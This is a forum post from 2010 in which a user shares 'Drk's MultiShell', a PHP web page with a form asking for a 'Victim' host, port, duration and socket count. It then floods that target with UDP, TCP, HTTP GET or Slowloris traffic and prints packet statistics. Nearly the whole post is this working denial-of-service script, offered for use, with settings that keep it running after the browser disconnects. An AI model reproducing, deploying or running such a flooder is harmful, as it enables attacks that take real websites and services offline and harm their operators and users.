Dec 11, 2010 05:27 PM
(This post was last modified: Dec 14, 2010 08:40 PM by drkshotz.)
Drk's MultiShell
[img]http://img528.imageshack.us/img528/8172/capturehrk.png[/img]
Hello everyone and welcome to my thread. I said this was my project today and I accomplished it.
[img]http://img528.imageshack.us/img528/8172/capturehrk.png[/img]
Hello everyone and welcome to my thread. I said this was my project today and I accomplished it.
Code
<title> DrkShotz MultiShell </title>
<html>
<body>
<center>
<font color="#FEFDFF">
<STYLE>
input{
background-color: #FEFDFF; font-size: 9pt; color: black; font-family: Tahoma; border: 1 solid #66;
}
button{
background-color: #FEFDFF; font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66;
}
body {
background-color: black;
}
</style>
<?php
/**
* @author DrkShotz
* @copyright 2010
*/
if (isset($_GET['host']) && isset($_GET['time']))
{
ignore_user_abort(true);
set_time_limit(0);
$exec_time = $_GET['time'];
$ip = $_GET['host'];
$tmm = $_GET['time'];
$dostype = $_GET['type'];
$packets = 0;
$port = $_GET['port'];
$socket = $_GET['sockets'];
$time = time();
$max_time = $time + $exec_time;
if ($dostype == '1')
{
$floodtype = 'UDP';
$out = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2',
'3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y',
'Z');
$length = count($out) - 1;
for ($i = 0; $i < 65000; $i++)
{
$out .= $out[rand(0, $length)];
}
while (1)
{
if (time() > $max_time)
{
break;
}
;
for ($i = 0; $i < $socket; $i++)
{
if (time() > $max_time)
{
break;
}
;
$fp = fsockopen('udp://' . $ip, $port, $errno, $errstr, 150);
if ($fp)
{
fwrite($fp, $out);
fclose($fp);
$packets++;
}
}
}
}
;
if ($dostype == '2')
{
$floodtype = 'TCP';
$out = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2',
'3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y',
'Z');
$length = count($out) - 1;
for ($i = 0; $i < 65000; $i++)
{
$out .= $out[rand(0, $length)];
}
while (1)
{
if (time() > $max_time)
{
break;
}
;
for ($i = 0; $i < $socket; $i++)
{
if (time() > $max_time)
{
break;
}
;
$fp = fsockopen('tcp://' . $ip, $port, $errno, $errstr, 150);
if ($fp)
{
fwrite($fp, $out);
fclose($fp);
$packets++;
}
}
}
}
;
if ($dostype == '3')
{
$floodtype = 'HTTP';
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: " . $ip . "\r\n";
$out .= "Accept: */*\r\n";
{
while (1)
{
if (time() > $max_time)
{
break;
}
;
for ($i = 0; $i < $socket; $i++)
{
if (time() > $max_time)
{
break;
}
;
$fp = fsockopen($ip, 80, $errno, $errstr, 150);
if ($fp)
{
fwrite($fp, $out);
fclose($fp);
$packets++;
}
}
}
}
}
;
if ($dostype == '4')
{
$floodtype = 'Slowloris';
$out = "POST / HTTP/1.1\r\n";
$out .= "Host: " . $ip . "\r\n";
$out .= "Content-Length: 1\r\n\r\n";
$out .= "X";
while (1)
{
if (time() > $max_time)
{
break;
}
;
for ($i = 0; $i < $socket; $i++)
{
if (time() > $max_time)
{
break;
}
;
$fp = fsockopen($ip, 80, $errno, $errstr, 150);
if ($fp)
{
fwrite($fp, $out);
fclose($fp);
$packets++;
}
}
}
}
;
echo 'DrkShotz MultiShell';
echo '<form action=? method=GET>
<input type="hidden" name="dos" value="true">
Victim: <br><input type=text name=host value=><br>
Port: <br><input type=text name=port value=><br>
Length (seconds): <br><input type=text name=time value=><br>
Sockets: <br><input type=text name=sockets value=><br>
Type of flood:<br>
<select name="type">
<option value="1" selected>UDP</option>
<option value="2">TCP</option>
<option value="3">HTTP</option>
<option value="4">Slowloris</option>
</select>
<br><br>
<input type=submit value=Go></form>';
echo '<b>' . $floodtype . ' Flood Stats Report For Address: ' . $ip . '</b><br>';
echo 'Your IP: ' . getenv("REMOTE_ADDR") . '<br>';
echo 'Packets Sent : ' . $packets . '<br>';
echo 'Average Packets/S: ' . round($packets / $tmm, 2) . '<br>';
echo 'Time of DoS: ' . $tmm . '<br>';
} else
{
echo 'DrkShotz MultiShell';
echo '<form action=? method=GET>
<input type="hidden" name="dos" value="true">
Victim: <br><input type=text name=host value=><br>
Port: <br><input type=text name=port value=><br>
Length (seconds): <br><input type=text name=time value=><br>
Sockets: <br><input type=text name=sockets value=><br>
Type of flood:<br>
<select name="type">
<option value="1" selected>UDP</option>
<option value="2">TCP</option>
<option value="3">HTTP</option>
<option value="4">Slowloris</option>
</select>
<br><br>
<input type=submit value=Go></form>';
}
;
?>
</center>
</body>
</html>

